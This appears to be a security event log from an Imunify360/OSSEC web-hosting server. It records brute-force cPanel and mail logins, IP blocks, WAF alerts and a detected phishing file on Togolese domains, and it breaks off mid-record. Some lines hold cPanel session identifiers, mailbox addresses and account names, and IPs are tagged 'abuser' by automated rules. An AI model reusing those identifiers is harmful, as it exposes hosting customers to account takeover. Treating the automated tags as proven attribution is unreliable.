[2026-06-16 00:00:57 +0000] info [cpaneld] 46.124.205.26 - sor "GET /login/?login_only=1&user=sor&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sor (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 23.191.80.121
country_id: 6251999
description:
23.191.80.121 - - [16/Jun/2026:00:02:33 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13289830&pdata=http%253A%252F%252Fwww.gls.devbase.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781568149 HTTP/1.1" 302 0 www.gls.devbase.tg "http://www.gls.devbase.tg/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:23.191.80.121


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 134.195.83.234
country_id: 6252001
description:
[2026-06-16 00:03:46 +0000] info [cpaneld] 134.195.83.234 NEW wcnyaruu:mP5r87p3aCARyfwp address=134.195.83.234,app=cpaneld,creator=wcnyaruu,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 45.74.3.86
country_id: 6252001
domain: direct7.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:00-03.45.74.3.86||RSV:8.17||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 139.99.170.109
country_id: 2077456
description:
139.99.170.109 - - [16/Jun/2026:00:04:50 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6844569&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781568288 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:139.99.170.109


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 113.16.16.163
country_id: 1814991
domain: macite.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:00-04.113.16.16.163||RSV:8.17||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 130.12.181.65
country_id: 3190538
description:
Jun 16 00:05:41 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 130.12.181.65 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 130.12.181.65
country_id: 3190538
description:
2026-06-16 00:05:43 dovecot_login authenticator failed for H=(ranfkb4btr) [130.12.181.65]:60716: 535 Incorrect authentication data (set_id=ambaltogo@cafe.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.139
country_id: 130758
description:
Jun 16 00:05:45 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.139 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.139
country_id: 130758
description:
2026-06-16 00:05:47 dovecot_login authenticator failed for H=(localhost) [62.60.130.139]:36070: 535 Incorrect authentication data (set_id=colors)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.66.137.167
country_id: 3932488
description:
[2026-06-16 00:07:02 +0000] info [cpaneld] 181.66.137.167 - tcha "GET /login/?login_only=1&user=tcha&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tcha (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 176.205.23.45
country_id: 290557
description:
[2026-06-16 00:06:24 +0000] info [cpaneld] 176.205.23.45 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 130.12.181.65
country_id: 3190538
description:
2026-06-16 00:06:28 dovecot_login authenticator failed for H=(N4KzzD4DI) [130.12.181.65]:62426: 535 Incorrect authentication data (set_id=ambaltogo@cafe.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.155.118.97
country_id: 1210997
description:
[2026-06-16 00:06:49 +0000] info [cpaneld] 103.155.118.97 - tchambai "GET /login/?login_only=1&user=tchambai&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tchambai (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 186.137.12.143
country_id: 3865483
description:
[2026-06-16 00:06:58 +0000] info [cpaneld] 186.137.12.143 - tch "GET /login/?login_only=1&user=tch&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tch (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 190.167.166.122
country_id: 3508796
description:
[2026-06-16 00:07:01 +0000] info [cpaneld] 190.167.166.122 - tc "GET /login/?login_only=1&user=tc&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tc (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 37.28.235.125
country_id: 2264397
description:
[2026-06-16 00:06:39 +0000] info [cpaneld] 37.28.235.125 - tchambainv "GET /login/?login_only=1&user=tchambainv&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tchambainv (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 179.96.244.3
country_id: 3469034
description:
[2026-06-16 00:06:43 +0000] info [cpaneld] 179.96.244.3 - tchambain "GET /login/?login_only=1&user=tchambain&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tchambain (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 49.148.113.226
country_id: 1694008
description:
[2026-06-16 00:06:55 +0000] info [cpaneld] 49.148.113.226 - tcha "GET /login/?login_only=1&user=tcha&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tcha (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 130.12.181.65
country_id: 3190538
description:
Jun 16 00:06:26 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 130.12.181.65 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 77.206.84.237
country_id: 3017382
description:
[2026-06-16 00:06:26 +0000] info [cpaneld] 77.206.84.237 - tchambainvest "GET /login/?login_only=1&user=tchambainvest&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tchambainvest (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 164.163.200.219
country_id: 3469034
description:
[2026-06-16 00:06:51 +0000] info [cpaneld] 164.163.200.219 - tcham "GET /login/?login_only=1&user=tcham&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tcham (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.57.13.133
country_id: 1527747
description:
[2026-06-16 00:06:52 +0000] info [cpaneld] 5.57.13.133 - tchamba "GET /login/?login_only=1&user=tchamba&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tchamba (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 41.143.236.211
country_id: 2542007
description:
[2026-06-16 00:07:04 +0000] info [cpaneld] 41.143.236.211 - tch "GET /login/?login_only=1&user=tch&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tch (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 187.158.225.64
country_id: 3996063
description:
[2026-06-16 00:06:25 +0000] info [cpaneld] 187.158.225.64 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 89.203.29.210
country_id: 285570
description:
[2026-06-16 00:06:48 +0000] info [cpaneld] 89.203.29.210 - tchamb "GET /login/?login_only=1&user=tchamb&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tchamb (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 130.12.181.65
country_id: 3190538
description:
2026-06-16 00:07:34 dovecot_login authenticator failed for H=(NMuAoim) [130.12.181.65]:53719: 535 Incorrect authentication data (set_id=ambaltogo@cafe.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 130.12.181.65
country_id: 3190538
description:
Jun 16 00:07:32 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 130.12.181.65 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.131.220.136
country_id: 1835841
description:
Jun 16 00:08:46 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.131.220.136 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 130.12.181.65
country_id: 3190538
description:
2026-06-16 00:08:38 dovecot_login authenticator failed for H=(bdjeeWur) [130.12.181.65]:65204: 535 Incorrect authentication data (set_id=ambaltogo@cafe.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 130.12.181.65
country_id: 3190538
description:
Jun 16 00:08:36 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 130.12.181.65 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.131.220.136
country_id: 1835841
description:
2026-06-16 00:08:48 dovecot_login authenticator failed for H=(nsg-static-16.107.76.182-airtel.com) [121.131.220.136]:34140: 535 Incorrect authentication data (set_id=hr@anrtogo.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 130.12.181.65
country_id: 3190538
description:
Jun 16 00:09:41 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 130.12.181.65 has been locked due to Imunify RBL


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 130.12.181.65
country_id: 3190538
description:
2026-06-16 00:10:04 dovecot_login authenticator failed for H=(gAr9aPLYF) [130.12.181.65]:55942: 535 Incorrect authentication data (set_id=ambaltogo@cafe.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 130.12.181.65
country_id: 3190538
description:
2026-06-16 00:09:22 dovecot_login authenticator failed for H=(8CW9aMjPX2) [130.12.181.65]:52117: 535 Incorrect authentication data (set_id=ambaltogo@cafe.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.59.184.244
country_id: 6252001
description:
Jun 16 00:10:04 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.59.184.244 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 172.59.184.244
country_id: 6252001
description:
2026-06-16 00:10:06 dovecot_plain authenticator failed for H=(shx55x06w8w6sy4i1s97nfkyqern15) [172.59.184.244]:1808: 535 Incorrect authentication data (set_id=info@keedyfarms.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.250.9.98
country_id: 2017370
description:
2026-06-16 00:10:18 dovecot_login authenticator failed for H=host87-250-9-098.etth.mark-itt.net ([118.26.153.102]) [87.250.9.98]:49896: 535 Incorrect authentication data (set_id=dasha9198@atms.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 130.12.181.65
country_id: 3190538
description:
2026-06-16 00:10:25 dovecot_login authenticator failed for H=(Mo2Dw4GR) [130.12.181.65]:62515: 535 Incorrect authentication data (set_id=ambaltogo@cafe.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 82.19.12.103
country_id: 2635167
description:
Jun 16 00:10:23 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 82.19.12.103 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 82.19.12.103
country_id: 2635167
description:
2026-06-16 00:10:25 dovecot_login authenticator failed for H=cpc122100-bmly10-2-0-cust102.2-3.cable.virginm.net (static-185-2-228-48.cust.tele2.lt) [82.19.12.103]:50462: 535 Incorrect authentication data (set_id=dasha9198)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 130.12.181.65
country_id: 3190538
description:
Jun 16 00:10:23 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 130.12.181.65 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 86.97.221.240
country_id: 290557
description:
[2026-06-16 00:10:29 +0000] info [whostmgrd] 86.97.221.240 - Marshall_Alexander "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 130.12.181.65
country_id: 3190538
description:
Jun 16 00:11:31 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 130.12.181.65 has been locked due to Imunify RBL


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.230.133.233
country_id: 2635167
domain: togofarm.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/ifxmoxbf/public_html/.028224535286608.php||RSV:8.17||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 107.175.5.43
country_id: 6252001
description:
[2026-06-16 00:12:12 +0000] info [cpaneld] 107.175.5.43 NEW wcnyaruu:L1qBM1QwOYmjYlyn address=107.175.5.43,app=cpaneld,creator=wcnyaruu,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 130.12.181.65
country_id: 3190538
description:
2026-06-16 00:11:33 dovecot_login authenticator failed for H=(i8qLaFe) [130.12.181.65]:61600: 535 Incorrect authentication data (set_id=ambaltogo@cafe.tg)


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 64.44.59.151
country_id: 6252001
description:
[2026-06-16 00:11:38 +0000] info [cpaneld] 64.44.59.151 NEW ifxmoxbf:r4fK2XpqmWIJGoRU address=64.44.59.151,app=cpaneld,creator=ifxmoxbf,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 130.12.181.65
country_id: 3190538
description:
2026-06-16 00:12:37 dovecot_login authenticator failed for H=(7SrZMFCDY) [130.12.181.65]:60846: 535 Incorrect authentication data (set_id=ambaltogo@cafe.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.91.164.131
country_id: 3469034
description:
Jun 16 00:12:52 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.91.164.131 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.168.56.34
country_id: 3469034
description:
Jun 16 00:13:04 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.168.56.34 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 217.164.211.153
country_id: 290557
description:
[2026-06-16 00:13:15 +0000] info [whostmgrd] 217.164.211.153 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 79.138.164.119
country_id: 2661886
description:
Jun 16 00:13:07 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 79.138.164.119 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 124.88.218.97
country_id: 1814991
description:
Jun 16 00:13:16 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 124.88.218.97 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 130.12.181.65
country_id: 3190538
description:
Jun 16 00:12:35 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 130.12.181.65 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.61.177.188
country_id: 1814991
description:
Jun 16 00:12:36 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.61.177.188 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 189.56.252.115
country_id: 3469034
description:
Jun 16 00:13:09 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 189.56.252.115 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.103.136.43
country_id: 3895114
description:
Jun 16 00:13:11 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.103.136.43 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.199.146.70
country_id: 3865483
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/resolution-des-crises-sociopolitiques-en-afrique-de-louest-loci-sollicite-faure-gnassingbe/ HTTP/1.1||RSV:8.17||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.229.119
country_id: 1269750
description:
Jun 16 00:13:28 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.229.119 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.168.56.34
country_id: 3469034
description:
Jun 16 00:13:51 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.168.56.34 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 189.56.252.115
country_id: 3469034
description:
Jun 16 00:13:58 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 189.56.252.115 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.180.164.182
country_id: 1835841
description:
Jun 16 00:14:15 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.180.164.182 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 130.12.181.65
country_id: 3190538
description:
Jun 16 00:13:21 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 130.12.181.65 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 124.88.218.97
country_id: 1814991
description:
Jun 16 00:13:25 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 124.88.218.97 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.226.71
country_id: 1269750
description:
Jun 16 00:14:01 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.226.71 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.199.146.70
country_id: 3865483
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/resolution-des-crises-sociopolitiques-en-afrique-de-louest-loci-sollicite-faure-gnassingbe/ HTTP/1.1||RSV:8.17||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 130.12.181.65
country_id: 3190538
description:
2026-06-16 00:13:23 dovecot_login authenticator failed for H=(Ij5CGWsj) [130.12.181.65]:56846: 535 Incorrect authentication data (set_id=ambaltogo@cafe.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.103.136.43
country_id: 3895114
description:
Jun 16 00:13:26 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.103.136.43 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 183.107.76.127
country_id: 1835841
description:
Jun 16 00:13:45 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 183.107.76.127 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 130.12.181.65
country_id: 3190538
description:
2026-06-16 00:14:27 dovecot_login authenticator failed for H=(FWv59F3TD) [130.12.181.65]:59935: 535 Incorrect authentication data (set_id=ambaltogo@cafe.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.139
country_id: 130758
description:
2026-06-16 00:14:34 dovecot_login authenticator failed for H=(localhost) [62.60.130.139]:39518: 535 Incorrect authentication data (set_id=tools)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.226.71
country_id: 1269750
description:
Jun 16 00:14:37 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.226.71 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.91.164.131
country_id: 3469034
description:
Jun 16 00:14:56 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.91.164.131 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 130.12.181.65
country_id: 3190538
description:
Jun 16 00:14:25 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 130.12.181.65 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.229.149
country_id: 1269750
description:
Jun 16 00:15:13 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.229.149 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.139
country_id: 130758
description:
Jun 16 00:14:32 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.139 has been locked due to Imunify RBL


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 130.12.181.65
country_id: 3190538
description:
2026-06-16 00:15:12 dovecot_login authenticator failed for H=(sT8XIL) [130.12.181.65]:65104: 535 Incorrect authentication data (set_id=ambaltogo@cafe.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 151.3.178.94
country_id: 3175395
description:
Jun 16 00:15:11 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 151.3.178.94 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 24.104.225.201
country_id: 6252001
description:
Jun 16 00:14:30 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 24.104.225.201 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 61.191.145.123
country_id: 1814991
description:
Jun 16 00:15:04 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 61.191.145.123 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 31.130.35.29
country_id: 2017370
description:
Jun 16 00:14:45 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 31.130.35.29 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.168.56.34
country_id: 3469034
description:
Jun 16 00:14:24 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.168.56.34 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 130.12.181.65
country_id: 3190538
description:
Jun 16 00:15:31 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 130.12.181.65 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 130.12.181.65
country_id: 3190538
description:
2026-06-16 00:15:33 dovecot_login authenticator failed for H=(udzoPQlaKG) [130.12.181.65]:58131: 535 Incorrect authentication data (set_id=ambaltogo@cafe.tg)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 212.119.41.219
country_id: 294640
domain: tdn.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:212.119.41.219||TA:212.119.41.219||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.197.9.38
country_id: 3175395
description:
Jun 16 00:16:18 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.197.9.38 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 201.2.57.138
country_id: 3469034
description:
Jun 16 00:15:46 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 201.2.57.138 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 205.164.176.158
country_id: 3469034
description:
[2026-06-16 00:16:31 +0000] info [cpaneld] 205.164.176.158 - tdntg "GET /login/?login_only=1&user=tdntg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tdntg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 186.116.140.96
country_id: 3686110
description:
[2026-06-16 00:16:30 +0000] info [cpaneld] 186.116.140.96 - tdn "GET /login/?login_only=1&user=tdn&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tdn (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 51.39.60.137
country_id: 102358
description:
[2026-06-16 00:16:34 +0000] info [cpaneld] 51.39.60.137 - td "GET /login/?login_only=1&user=td&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user td (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 130.12.181.65
country_id: 3190538
description:
Jun 16 00:16:34 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 130.12.181.65 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.0.224.98
country_id: 3865483
description:
[2026-06-16 00:16:33 +0000] info [cpaneld] 181.0.224.98 - tdntg "GET /login/?login_only=1&user=tdntg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tdntg (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.197.9.38
country_id: 3175395
description:
Jun 16 00:16:25 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.197.9.38 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 130.12.181.65
country_id: 3190538
description:
2026-06-16 00:16:36 dovecot_login authenticator failed for H=(67UUvzJ) [130.12.181.65]:61620: 535 Incorrect authentication data (set_id=ambaltogo@cafe.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 14.192.212.213
country_id: 1733045
description:
[2026-06-16 00:16:26 +0000] info [cpaneld] 14.192.212.213 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 130.12.181.65
country_id: 3190538
description:
2026-06-16 00:17:39 dovecot_login authenticator failed for H=(XMFEgtwT) [130.12.181.65]:57987: 535 Incorrect authentication data (set_id=ambaltogo@cafe.tg)


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.225
country_id: 2635167
description:
